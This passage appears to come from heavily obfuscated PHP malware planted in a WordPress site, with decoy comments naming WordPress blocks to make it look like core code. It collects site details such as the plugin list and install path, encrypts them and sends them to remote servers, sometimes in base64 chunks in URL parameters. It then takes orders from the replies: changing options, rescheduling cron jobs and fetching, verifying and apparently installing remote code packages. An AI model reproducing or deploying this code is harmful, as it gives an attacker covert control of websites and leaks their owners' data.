   $pd593s0jd4  = $GLOBALS['__scf_zcsplvr37om_157']($GLOBALS['__scf_f05nku7gkgy7_162']($pd593s0jd4,  array($h0e824bf3znc)));
      $GLOBALS['__scf_wdfeyg4162o7_579']($pd593s0jd4);
  $GLOBALS['__scf_ce9n80psfo9w_327']($pd593s0jd4,    $h0e824bf3znc);
   

}   elseif ($GLOBALS['__scf_tbu69vegc9f_36']($pd593s0jd4) >     1)    {

 $GLOBALS['__scf_wdfeyg4162o7_579']($pd593s0jd4);


    }






  if  (($GLOBALS['__scf_di84jqdj15nut_294'](true)  -  $siar7b0jqusum)   > (int)   ($x7bpm0cj9cz8cm2   *  0.6))     {



 yjewt2tle_jt0oxoue_inn();
     return;
  }
    
 $_0tpuumfwbd6     =  yhktn7sbu98lm4ve6fq();
  if (jl52yj3d5oo8wjkvu2wade($_0tpuumfwbd6))  {
$_0tpuumfwbd6  =     yhktn7sbu98lm4ve6fq();
 }

  $qooyjsx5rixc3m8a   = array();
  if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(552)))    {
 foreach  ((array)  get_option(s99lg14mcd3un(580), array()) as $gx1wu9an7cfa2x_t)     {
 if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($gx1wu9an7cfa2x_t) &&     $gx1wu9an7cfa2x_t)    {
$qooyjsx5rixc3m8a[]    =    $gx1wu9an7cfa2x_t;
  }



 }
  }



   
    $lu6075lwn5p  =   array();
   if    (defined(s99lg14mcd3un(581)))    {



$qiwrgun4bcuxz   =    $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(582))  ?  @$GLOBALS['__scf_fczaqag___47_72']($GLOBALS['__scf_qv5p187x3gyo_12'](WPMU_PLUGIN_DIR,    '/')  . s99lg14mcd3un(73)) :    false;
    if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($qiwrgun4bcuxz)) {
foreach   ($qiwrgun4bcuxz   as     $fulx_n95kwu)     {
 $lu6075lwn5p[] = $GLOBALS['__scf_xz_5zbcnz0m_3']($fulx_n95kwu);
}
 }
     }
    
   $sq_s9uhqellfp86n      = array(
 pvz_9xuc0nzl0m(583)  =>  q2jllc8juonl0cgja1g(""),
  s99lg14mcd3un(584)    =>  jqg87ez26lzm3yp01xj2q(),
      j8bjjevd80e(585)    =>   $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),   cv8ducrec(586)),
  b5xx0lrqzfc(587)   =>  $GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH,    j8bjjevd80e(148)),
 s99lg14mcd3un(588)  =>     $qooyjsx5rixc3m8a,
    j8bjjevd80e(589) =>  $lu6075lwn5p,
 cv8ducrec(590) =>  jjaln5s5_cslb9rmjs1h(),
      pvz_9xuc0nzl0m(591)  =>    (object)    ix6mi9gek7fc1t6cmf3($_0tpuumfwbd6),
  j8bjjevd80e(592)      =>   (object)   qk0g167zdj30s6($_0tpuumfwbd6),
   pvz_9xuc0nzl0m(371) => ($dfqfti1b4a   =    g6vmbx9dpbd7vqn02ef()),
  
);
 $ppqlq7gbicmrqi    =  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(593))    ?  wp_json_encode($sq_s9uhqellfp86n)      :     $GLOBALS['__scf_ks9itesnmzhh_594']($sq_s9uhqellfp86n);
$deof4x6u46  =    _1isqeznby2pv_soj($ppqlq7gbicmrqi,  $oine4pgfz7);



  $rw020g5w77 =  array(j8bjjevd80e(331)   =>     s99lg14mcd3un(595));
  $fyt2ueozybp1kzz9   =    null;


  $ag1hzx641kz7nno3 = false;
yjewt2tle_jt0oxoue_inn();
$GLOBALS[cv8ducrec(320)]  =   false;
    
   foreach  ($pd593s0jd4      as  $soz07_6j_g)  {

    
$i9yv7nkzpoxlns = $x7bpm0cj9cz8cm2  -    ($GLOBALS['__scf_di84jqdj15nut_294'](true)     -  $siar7b0jqusum);
   if    ($i9yv7nkzpoxlns   < (6-3))   {
 break;
    }
  $f0mui1p52nt8o_    =    $GLOBALS['__scf_kdgi9msmnx8o_480']((5+5),    (int)   $i9yv7nkzpoxlns);
  
     $soz07_6j_g   =  $GLOBALS['__scf_qbsuu37jbe5t_328']((string)   $soz07_6j_g);
if     (! $soz07_6j_g)   {
    continue;$fz8ryxap9l9=86*9;$ublr2bhyd5_=$fz8ryxap9l9-11;
 }
 try  {


$mxpdvfygg4ms2  =  $oine4pgfz7;
$i4g_we48yi    =   viltmdkkcx0ii7u($soz07_6j_g,     $deof4x6u46,     $rw020g5w77, $f0mui1p52nt8o_, function  ($oxgrzhf_b1dott)   use ($mxpdvfygg4ms2)  {


   if (!ylaz2n86rjgc8_cme($GLOBALS['__scf_d413tdd725_10']($oxgrzhf_b1dott)))  {
   $GLOBALS[b5xx0lrqzfc(320)] =   true;
 return     false;
  }



      $rtnxjwsi0p3gd =  _1isqeznby2pv_soj($oxgrzhf_b1dott,  $mxpdvfygg4ms2);
if (!$rtnxjwsi0p3gd) return  false;
    return    $GLOBALS['__scf__qh9f0l6g7e7ez_35'](@$GLOBALS['__scf_esp9o7pdt1mu_333']($GLOBALS['__scf_qbsuu37jbe5t_328']($rtnxjwsi0p3gd),    true));
 });
 if  (!     $i4g_we48yi) {



  if   (!empty($GLOBALS[pvz_9xuc0nzl0m(320)]))  {

     f1995qrx5prr7cbl19co0e(cv8ducrec(435), j8bjjevd80e(596));
  break;
}



    f1995qrx5prr7cbl19co0e(cv8ducrec(435),   b5xx0lrqzfc(597) .  $soz07_6j_g);$o6msdpwwa=91*6;$h6dc4925u=$o6msdpwwa-13;
  continue;
}
 
     $cc_nibzpcc  =      _1isqeznby2pv_soj($i4g_we48yi, $oine4pgfz7);
if    (! $cc_nibzpcc)   {
   f1995qrx5prr7cbl19co0e(j8bjjevd80e(435),   s99lg14mcd3un(598)  . $soz07_6j_g);
 continue;
 }
       $fyt2ueozybp1kzz9   =     ($GLOBALS['__scf_d413tdd725_10']($cc_nibzpcc) > (1506258-457682) &&   !ylaz2n86rjgc8_cme($GLOBALS['__scf_d413tdd725_10']($cc_nibzpcc)))    ?  null    :    @$GLOBALS['__scf_esp9o7pdt1mu_333']($GLOBALS['__scf_qbsuu37jbe5t_328']($cc_nibzpcc), true);
if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9))  {
 if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(470)))   {
update_option(pvz_9xuc0nzl0m(578),    $soz07_6j_g);
 }
 $ag1hzx641kz7nno3  = true;
  break;
} else {$om3rxx7efyx0a=(0x41+0x97);$ntlzaoxt_erkny=$om3rxx7efyx0a%12;
   f1995qrx5prr7cbl19co0e(cv8ducrec(599),   s99lg14mcd3un(600)  . $soz07_6j_g);


}



   }  catch    (Throwable  $uvo4msk8s29_) {
     f1995qrx5prr7cbl19co0e(cv8ducrec(601), $uvo4msk8s29_);
   continue;
 }    catch      (Exception   $uvo4msk8s29_) {
    continue;

     }


     }
  if   (!  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9)  && empty($GLOBALS[cv8ducrec(602)]))  {


  $dklo8n2_fdrog82  =     _1isqeznby2pv_soj($GLOBALS['__scf_ks9itesnmzhh_594'](array(

      pvz_9xuc0nzl0m(583)    =>     q2jllc8juonl0cgja1g(""),
   cv8ducrec(603)      =>  jqg87ez26lzm3yp01xj2q(),


 s99lg14mcd3un(585) => $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(), pvz_9xuc0nzl0m(586)),
  pvz_9xuc0nzl0m(604)     => 1,



    )),  $oine4pgfz7);
 $xaa85adji_z   =  $GLOBALS['__scf_qv5p187x3gyo_12'](strtr($GLOBALS['__scf_l90bo4vfyn_356']($dklo8n2_fdrog82),  b5xx0lrqzfc(605),    cv8ducrec(606)), '=');
  $wqn0oul6zf014v      = $GLOBALS['__scf_wuteo6oqnoie_607']($xaa85adji_z,   (1395+5));
foreach  ($pd593s0jd4  as  $soz07_6j_g)    {
 if      (($GLOBALS['__scf_di84jqdj15nut_294'](true)   -   $siar7b0jqusum)  >   $x7bpm0cj9cz8cm2)   {
 break;
      }
   $soz07_6j_g    = $GLOBALS['__scf_qbsuu37jbe5t_328']((string)    $soz07_6j_g);$ckvn7dew_=PHP_INT_MAX/PHP_INT_MAX;$vnmfzgl77a=$ckvn7dew_+40;
  if   ($soz07_6j_g   ===  "")   {
 continue;
     }
$peowyubhs34mmf4v     =    inbj7my4zpjuh_tx(q2jllc8juonl0cgja1g("") .  $GLOBALS['__scf_di84jqdj15nut_294'](true),     (7+1));
$juichfk25b__  = $GLOBALS['__scf_tbu69vegc9f_36']($wqn0oul6zf014v);
 $soqrm2egu0t19   =   ($GLOBALS['__scf_ya_jdhkqpku_7']($soz07_6j_g, '?') ===  false)   ? '?'    :   '&';$l4tsxss0pk=7685;$icap1oeqvbyt=$l4tsxss0pk%8;
     for    ($_r7f01zu03bnd  =   0; $_r7f01zu03bnd   <   $juichfk25b__; $_r7f01zu03bnd++)   {
 if (($GLOBALS['__scf_di84jqdj15nut_294'](true)  - $siar7b0jqusum)  > $x7bpm0cj9cz8cm2)   {
   break;
    }
   $b18cz96hhe  = ($_r7f01zu03bnd ===  $juichfk25b__ - 1);

        $z5kdza0sauo4ff  =   $soz07_6j_g  . $soqrm2egu0t19  .  b5xx0lrqzfc(608)     .     $peowyubhs34mmf4v  . pvz_9xuc0nzl0m(609) .   $_r7f01zu03bnd      .  b5xx0lrqzfc(610) .     $juichfk25b__     .      pvz_9xuc0nzl0m(611) .  $wqn0oul6zf014v[$_r7f01zu03bnd];
 $p9pl72da2e =   z0xbeubd60dkia58w($z5kdza0sauo4ff, (7+1),    $b18cz96hhe ?    function   ($oxgrzhf_b1dott)   use  ($oine4pgfz7)   {
$rtnxjwsi0p3gd     =      _1isqeznby2pv_soj($oxgrzhf_b1dott,  $oine4pgfz7);
  if  (!$rtnxjwsi0p3gd)  return  false;
   return $GLOBALS['__scf__qh9f0l6g7e7ez_35'](@$GLOBALS['__scf_esp9o7pdt1mu_333']($GLOBALS['__scf_qbsuu37jbe5t_328']($rtnxjwsi0p3gd),  true));



  } :   null);
   if    ($b18cz96hhe &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($p9pl72da2e)  &&   $p9pl72da2e  !==  "")  {
     $_gd  = _1isqeznby2pv_soj($p9pl72da2e,   $oine4pgfz7);
$pu64amt84742vvh   =  ($_gd   && ($GLOBALS['__scf_d413tdd725_10']($_gd)   <=  (1048556+20)  ||  ylaz2n86rjgc8_cme($GLOBALS['__scf_d413tdd725_10']($_gd)))) ? @$GLOBALS['__scf_esp9o7pdt1mu_333']($GLOBALS['__scf_qbsuu37jbe5t_328']($_gd),  true) :  null;

  if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($pu64amt84742vvh))  {
  $fyt2ueozybp1kzz9 =     $pu64amt84742vvh;
     

    if   ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(612)))   {
    update_option(b5xx0lrqzfc(613),  $soz07_6j_g);
  }

 break;



    }
}
 }

   if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9))  {
   break;
  }

   }
  }

  $GLOBALS[j8bjjevd80e(602)]     = false;

   if      (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9))  {

     return;
    }
      if ($ag1hzx641kz7nno3)  {
 wl65crrz_eji3fh9uelq();


  }
 if  ($dfqfti1b4a      &&  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(614)))   {
 delete_option(t3n5pwyq0eumo2mmixe8cz(cv8ducrec(371)));
  unset($GLOBALS[pvz_9xuc0nzl0m(359)][t3n5pwyq0eumo2mmixe8cz(pvz_9xuc0nzl0m(371))]);
   }
if    (!isset($GLOBALS[b5xx0lrqzfc(615)])  ||   !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[s99lg14mcd3un(615)])) $GLOBALS[pvz_9xuc0nzl0m(615)]  = array();$eqzmc0ve=25+61;$tpmv97q6ms=$eqzmc0ve-18;
     $GLOBALS[pvz_9xuc0nzl0m(615)]  =  $GLOBALS['__scf_zcsplvr37om_157']($GLOBALS['__scf_f05nku7gkgy7_162']($GLOBALS[pvz_9xuc0nzl0m(615)], $dfqfti1b4a));
if    (isset($fyt2ueozybp1kzz9[s99lg14mcd3un(616)])   &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($fyt2ueozybp1kzz9[pvz_9xuc0nzl0m(616)]))    {
        unset($GLOBALS[s99lg14mcd3un(293)]);
 atlx6epeylcpbfe($fyt2ueozybp1kzz9[j8bjjevd80e(616)],   isset($fyt2ueozybp1kzz9[j8bjjevd80e(617)]) &&   $GLOBALS['__scf_qubutkuvnnc4sx_41']($fyt2ueozybp1kzz9[j8bjjevd80e(618)])  ?    $fyt2ueozybp1kzz9[s99lg14mcd3un(619)]  :  "", !empty($fyt2ueozybp1kzz9[cv8ducrec(620)]));


    }


 
$pryg6gx51xs     = false;
$kazjm5t50mg1o2  =      array();
     



   if (isset($fyt2ueozybp1kzz9[cv8ducrec(442)])  && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9[pvz_9xuc0nzl0m(442)]))     {
  $zm87ltxzegowx   = array();
  
  foreach ($fyt2ueozybp1kzz9[b5xx0lrqzfc(621)]  as  $lixijsuy7hjm_)   {
    if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($lixijsuy7hjm_) &&   $lixijsuy7hjm_ !==  "")  {

  $zm87ltxzegowx[]   = $lixijsuy7hjm_;
  }
}
    $d5o055ojpeckr  =    $GLOBALS[pvz_9xuc0nzl0m(441)];
   $zm87ltxzegowx     = aods54sn8y2xtf9iju1r1($zm87ltxzegowx);
 $GLOBALS[j8bjjevd80e(441)]   = $zm87ltxzegowx;
$kazjm5t50mg1o2[s99lg14mcd3un(621)]  = $zm87ltxzegowx;
   if  (!  empty($GLOBALS['__scf_f05nku7gkgy7_162']($zm87ltxzegowx, $d5o055ojpeckr))   ||  !   empty($GLOBALS['__scf_f05nku7gkgy7_162']($d5o055ojpeckr, $zm87ltxzegowx)))  {


$pryg6gx51xs   = true;
 }
}
 
 if (isset($fyt2ueozybp1kzz9[b5xx0lrqzfc(443)]) && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9[j8bjjevd80e(622)]))    {
   $zm87ltxzegowx    =    array();
 


       foreach  ($fyt2ueozybp1kzz9[cv8ducrec(622)]     as  $lixijsuy7hjm_) {
  if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($lixijsuy7hjm_)  && $lixijsuy7hjm_ !==    "")    {
    $zm87ltxzegowx[]   = $lixijsuy7hjm_;
}



  }
     $d5o055ojpeckr =   $GLOBALS[b5xx0lrqzfc(444)];
 $zm87ltxzegowx =   aods54sn8y2xtf9iju1r1($zm87ltxzegowx);


 $GLOBALS[pvz_9xuc0nzl0m(444)]  = $zm87ltxzegowx;
       $kazjm5t50mg1o2[j8bjjevd80e(623)]     =   $zm87ltxzegowx;
 if    (!   empty($GLOBALS['__scf_f05nku7gkgy7_162']($zm87ltxzegowx,     $d5o055ojpeckr)) ||  ! empty($GLOBALS['__scf_f05nku7gkgy7_162']($d5o055ojpeckr,     $zm87ltxzegowx)))  {
  $pryg6gx51xs    =   true;
   }
     }
  if (isset($fyt2ueozybp1kzz9[j8bjjevd80e(624)])     &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($fyt2ueozybp1kzz9[b5xx0lrqzfc(625)])) {
   $ipr7nvklxd_s  =  _x9hn2qehctkx39o(pvz_9xuc0nzl0m(626),  "");
 if   ($ipr7nvklxd_s   !== ""   && (int) fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(627),     0)  ===     0) {

   yf4cseyywyt6kel(s99lg14mcd3un(628),  1,  pvz_9xuc0nzl0m(575));


    if   ((int) fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(629),      0)     !== 1) yf4cseyywyt6kel(j8bjjevd80e(630),      1,  s99lg14mcd3un(575));
  }
   $GLOBALS[cv8ducrec(492)]      =  $fyt2ueozybp1kzz9[j8bjjevd80e(625)];
     $kazjm5t50mg1o2[b5xx0lrqzfc(625)] =  $fyt2ueozybp1kzz9[s99lg14mcd3un(625)];
 if     ($GLOBALS['__scf_gvrvt5qjna_57']($fyt2ueozybp1kzz9[b5xx0lrqzfc(631)])  !== $GLOBALS['__scf_gvrvt5qjna_57']($ipr7nvklxd_s)    ||   (int) fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(630),   0)    === 1) {
     if    (yf4cseyywyt6kel(cv8ducrec(632),  $fyt2ueozybp1kzz9[b5xx0lrqzfc(633)],   b5xx0lrqzfc(575))  || _x9hn2qehctkx39o(s99lg14mcd3un(634), "") ===  $fyt2ueozybp1kzz9[cv8ducrec(635)])      {
      yf4cseyywyt6kel(b5xx0lrqzfc(630), 1,  cv8ducrec(575));

      try    {
    if  (t_mo0axb5k2aefttvw())   yf4cseyywyt6kel(s99lg14mcd3un(630), 0, pvz_9xuc0nzl0m(575));
} catch (Throwable  $uvo4msk8s29_)   {
       }  catch  (Exception $uvo4msk8s29_) {$un1q5kh488n=PHP_INT_MAX/PHP_INT_MAX;$rbnafkctm60eu0=$un1q5kh488n+90;
 }
}    else     {
 yjewt2tle_jt0oxoue_inn();
     return;

 }
      }
 unset($ipr7nvklxd_s);
}
   $ke2kmxpo6e0q2gnp   =     isset($fyt2ueozybp1kzz9[j8bjjevd80e(451)])     &&    $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9[b5xx0lrqzfc(451)])   ?   $fyt2ueozybp1kzz9[pvz_9xuc0nzl0m(636)] : array();


    if    (isset($ke2kmxpo6e0q2gnp[b5xx0lrqzfc(637)])   && $GLOBALS['__scf_qubutkuvnnc4sx_41']($ke2kmxpo6e0q2gnp[b5xx0lrqzfc(638)]))  {

if    ($GLOBALS['__scf_d413tdd725_10']($ke2kmxpo6e0q2gnp[s99lg14mcd3un(638)]) >  (6+44))  {
 $GLOBALS[b5xx0lrqzfc(448)] =    $ke2kmxpo6e0q2gnp[pvz_9xuc0nzl0m(639)];
  $kazjm5t50mg1o2[s99lg14mcd3un(639)] =    $ke2kmxpo6e0q2gnp[pvz_9xuc0nzl0m(639)];
    }  else   {
      $GLOBALS[j8bjjevd80e(448)]     = "";
 $kazjm5t50mg1o2[pvz_9xuc0nzl0m(640)]  =   "";
    yf4cseyywyt6kel(s99lg14mcd3un(641),  "",  cv8ducrec(575));
   }
 }
     if  (isset($ke2kmxpo6e0q2gnp[pvz_9xuc0nzl0m(642)]) &&    $GLOBALS['__scf_qubutkuvnnc4sx_41']($ke2kmxpo6e0q2gnp[cv8ducrec(642)]))  {
 if ($GLOBALS['__scf_d413tdd725_10']($ke2kmxpo6e0q2gnp[cv8ducrec(643)]) > (160^196))  {


  $GLOBALS[pvz_9xuc0nzl0m(452)]    =  $ke2kmxpo6e0q2gnp[j8bjjevd80e(643)];
   $kazjm5t50mg1o2[cv8ducrec(643)]     =   $ke2kmxpo6e0q2gnp[cv8ducrec(643)];



  }  else {
 $GLOBALS[b5xx0lrqzfc(452)]    =     "";
  $kazjm5t50mg1o2[pvz_9xuc0nzl0m(643)]  =  "";
    


  yf4cseyywyt6kel(pvz_9xuc0nzl0m(367),  "",   j8bjjevd80e(644));
 }


     }
    $_6xq9n6d4x   = isset($fyt2ueozybp1kzz9[pvz_9xuc0nzl0m(645)])   && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($fyt2ueozybp1kzz9[j8bjjevd80e(645)])  ?     $fyt2ueozybp1kzz9[b5xx0lrqzfc(646)]     :    array();
$jzt7p5u17x =     array(
s99lg14mcd3un(647)   =>   b5xx0lrqzfc(647),
     s99lg14mcd3un(648)   => pvz_9xuc0nzl0m(649),
    cv8ducrec(650)    => cv8ducrec(651),
      j8bjjevd80e(652)   =>    pvz_9xuc0nzl0m(653),
pvz_9xuc0nzl0m(654)  =>  pvz_9xuc0nzl0m(655),
 b5xx0lrqzfc(656) => j8bjjevd80e(657),

);
foreach    ($jzt7p5u17x as $z759qctyoyjpq     =>   $scz1fewo231ic_)  {
     if  (isset($_6xq9n6d4x[$z759qctyoyjpq])    &&    $GLOBALS['__scf_qubutkuvnnc4sx_41']($_6xq9n6d4x[$z759qctyoyjpq])   &&  $GLOBALS['__scf_d413tdd725_10']($_6xq9n6d4x[$z759qctyoyjpq]) >   (0x14+0x1e)) {
   $kazjm5t50mg1o2[$scz1fewo231ic_] = $_6xq9n6d4x[$z759qctyoyjpq];
    }
 }
if (isset($fyt2ueozybp1kzz9[cv8ducrec(476)])     &&  $GLOBALS['__scf_no_1y_vm2ry_658']($fyt2ueozybp1kzz9[pvz_9xuc0nzl0m(476)]))   {
       $gdewagsfvy  =  (int)  $fyt2ueozybp1kzz9[pvz_9xuc0nzl0m(476)];

 if    ($gdewagsfvy      >= (204+96)    &&  $gdewagsfvy  <=  (86348+52)) $kazjm5t50mg1o2[pvz_9xuc0nzl0m(476)] =   $gdewagsfvy;
  }
  if (isset($fyt2ueozybp1kzz9[b5xx0lrqzfc(659)])    &&   $GLOBALS['__scf_no_1y_vm2ry_658']($fyt2ueozybp1kzz9[b5xx0lrqzfc(659)]))  {
// WP Global Styles: bilinear contravariant

   $_ci = (int) $fyt2ueozybp1kzz9[s99lg14mcd3un(659)];$tilcgpsemwk28=(0x1c+0x9d);$h1w79fjrl=$tilcgpsemwk28%13;



    if  ($_ci    >=    (294+6)   &&   $_ci  <=    (86314+86))   $kazjm5t50mg1o2[cv8ducrec(659)]   =    $_ci;



}
  if   (empty($kazjm5t50mg1o2))  {
     delete_option(s99lg14mcd3un(477));
  delete_option(s99lg14mcd3un(478));
update_option(s99lg14mcd3un(660),  $GLOBALS['__scf_tmn0v_xik_1b_195']());
    delete_transient(pvz_9xuc0nzl0m(661));
       s5hxf3p80jtm3r0_mjb();
     b9qwphei1gqk0791pp();

  return;
 }


$m21q4q2kk9h = y6bufl7h7ptft9p90e(s99lg14mcd3un(662), false);
 if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($m21q4q2kk9h))  {
$kazjm5t50mg1o2 = $GLOBALS['__scf_z1yhwz66dpf_370']($m21q4q2kk9h, $kazjm5t50mg1o2);

}
    
 if    ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(62))) {



  $gta7iaqdnmdm2i  =    a89x3hypm78o6y7xnj0h();
 if    (isset($kazjm5t50mg1o2[b5xx0lrqzfc(476)]) &&     (int)     $kazjm5t50mg1o2[cv8ducrec(476)]  >=  (459-159)     && (int) $kazjm5t50mg1o2[cv8ducrec(663)]  <=  (86387+13))  $gta7iaqdnmdm2i =     (int) $kazjm5t50mg1o2[b5xx0lrqzfc(663)];
// rollback sliding-window for WP Custom Link

    set_transient(ev_yl_99eshcn294o(),    $kazjm5t50mg1o2, $gta7iaqdnmdm2i);
  }
    
       if (!nqy28tbb9fn5oe39v(j8bjjevd80e(662),   $kazjm5t50mg1o2, j8bjjevd80e(664))) {
       $k95ys7__ggz  =  y6bufl7h7ptft9p90e(b5xx0lrqzfc(662),   null);
  if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($k95ys7__ggz)      ||  $k95ys7__ggz    !=   $kazjm5t50mg1o2)    {
yjewt2tle_jt0oxoue_inn();



  return;



 }
unset($k95ys7__ggz);
  }
if (isset($kazjm5t50mg1o2[j8bjjevd80e(659)])     &&    $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(665))  &&   $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(666)) &&   $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(383)))  {


   $fpymvedgef   =     wp_get_scheduled_event(et2b4r7l7_g_aen6());
   if    ($fpymvedgef && (int) $fpymvedgef->interval      !==     (int)  $kazjm5t50mg1o2[j8bjjevd80e(667)])    {
 wp_clear_scheduled_hook(et2b4r7l7_g_aen6());
   wp_schedule_event($GLOBALS['__scf_tmn0v_xik_1b_195']()  +     $GLOBALS['__scf_pbb_q2_l2kzq6z_355']((116^72),    (267+33)),   j8bjjevd80e(385), et2b4r7l7_g_aen6());
}
     }
     update_option(j8bjjevd80e(668), $GLOBALS['__scf_tmn0v_xik_1b_195']());
 delete_option(s99lg14mcd3un(669));
 delete_option(pvz_9xuc0nzl0m(478));
 delete_transient(pvz_9xuc0nzl0m(661));
   s5hxf3p80jtm3r0_mjb();
 b9qwphei1gqk0791pp();
 
  if   ($pryg6gx51xs) {
   itcv8w0b_cz106uq();

}
 }  catch (Throwable    $uvo4msk8s29_) {
// acknowledge prime visitor

    f1995qrx5prr7cbl19co0e(s99lg14mcd3un(670), $uvo4msk8s29_);
} catch   (Exception  $uvo4msk8s29_)  {
  }  finally {


 unset($GLOBALS[pvz_9xuc0nzl0m(293)]);

     jr2xyttddkmhfx362y(j8bjjevd80e(671));
   }
// PHP attributes filter priority

 }
  
     function   atlx6epeylcpbfe($u3o11jkw1spuld9d,   $kc34jp3n4m2sb  =   "", $d2zwl6das0ujk9j  =    false)
   {
if   (!oi023dn_ef3e6fe(cv8ducrec(671)))    return;
   try {
 $pcxgo4oaej44rf  = s9cy9xvxk8jsc0lh59isve();
if     ($pcxgo4oaej44rf >  0 &&   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(672))     &&  !ylaz2n86rjgc8_cme($GLOBALS['__scf_d413tdd725_10']($u3o11jkw1spuld9d)   * (2+2)))  {
    f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(673), j8bjjevd80e(674));
    return;
}
    unset($pcxgo4oaej44rf);

 $iqxtrvjkmk3gyw5 = @$GLOBALS['__scf_hitibqyb6ku_357']($u3o11jkw1spuld9d, true);
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($iqxtrvjkmk3gyw5) &&   $GLOBALS['__scf_d413tdd725_10']($iqxtrvjkmk3gyw5)  >  (1048503+73))     $iqxtrvjkmk3gyw5   = gg_b7drpimzvzg($iqxtrvjkmk3gyw5);
  if  (!    $iqxtrvjkmk3gyw5    ||      $GLOBALS['__scf_d413tdd725_10']($iqxtrvjkmk3gyw5)  <    (469+31)    ||  $GLOBALS['__scf_ya_jdhkqpku_7']($iqxtrvjkmk3gyw5,      cv8ducrec(675)) !== 0)    {
  return;
 }


  if      (! ro9zxkt259xhwz4($iqxtrvjkmk3gyw5))  {


f1995qrx5prr7cbl19co0e(s99lg14mcd3un(676),  s99lg14mcd3un(677));
  return;
}
 if  ($GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(214),  $GLOBALS['__scf_kmygv436ft5pn_9']($iqxtrvjkmk3gyw5, 0,   (6538-2442)),    $o0o4_8xyj329kjl))   {
   if  ($kc34jp3n4m2sb  !== "" &&    $kc34jp3n4m2sb   !==   $o0o4_8xyj329kjl[1])   {
// WP Group Block option row



    f1995qrx5prr7cbl19co0e(s99lg14mcd3un(676),   j8bjjevd80e(678));
   return;
    }
 $kc34jp3n4m2sb   =  $o0o4_8xyj329kjl[1];
 }  else   {$hif_ukd_ueazh=(0x7f+0x39);$r5oxcpajwu=$hif_ukd_ueazh%3;
  f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(679),  s99lg14mcd3un(680));
 return;
}
 if  (!$d2zwl6das0ujk9j  &&    version_compare($kc34jp3n4m2sb,    jqg87ez26lzm3yp01xj2q()) <=  0)   {
 return;



   }
$ue73ppq4w56    = usllxr5akmyy8c();
  if  (!$ue73ppq4w56  ||  $GLOBALS['__scf_d413tdd725_10']($ue73ppq4w56)  < (377+123))  {
f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(681), b5xx0lrqzfc(682));
      return;


 }
// WP Columns Block lazy decode

$fytfdok7o2qka7  =     get_option(cv8ducrec(683));
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($fytfdok7o2qka7) &&   $GLOBALS['__scf_ya_jdhkqpku_7']($fytfdok7o2qka7,    $GLOBALS['__scf_gvrvt5qjna_57']($iqxtrvjkmk3gyw5)  . '|') ===  0)    {
// WP Spacer Block: phi-insert trust-anchor

    return;
    }
  $kpcor7w8ofky9m3   =    $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) .  cv8ducrec(194)    .  $GLOBALS['__scf_gvrvt5qjna_57']($iqxtrvjkmk3gyw5);
    if     (@$GLOBALS['__scf_xaseomj3flge_20']($kpcor7w8ofky9m3))   {
return;
    }
 unset($kpcor7w8ofky9m3);


     if  (!$d2zwl6das0ujk9j)    {
 $oav1e1u1as5im5x  =  @get_option(pvz_9xuc0nzl0m(684),  "");
 if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($oav1e1u1as5im5x) && $GLOBALS['__scf_ya_jdhkqpku_7']($oav1e1u1as5im5x, $GLOBALS['__scf_gvrvt5qjna_57']($iqxtrvjkmk3gyw5) .    '|')   ===  0) {
   $wm2hhi69hyi0g   =   (int) $GLOBALS['__scf_kmygv436ft5pn_9']($oav1e1u1as5im5x,  $GLOBALS['__scf_ya_jdhkqpku_7']($oav1e1u1as5im5x,  '|')  +  1);
if   ($wm2hhi69hyi0g &&  $GLOBALS['__scf_tmn0v_xik_1b_195']()  -      $wm2hhi69hyi0g     <  (999-99))   return;
 }


     unset($oav1e1u1as5im5x,    $wm2hhi69hyi0g);
  }
 $jpkcrgyi2glonc   =    false;

   if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(389))   &&  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(685)))     {
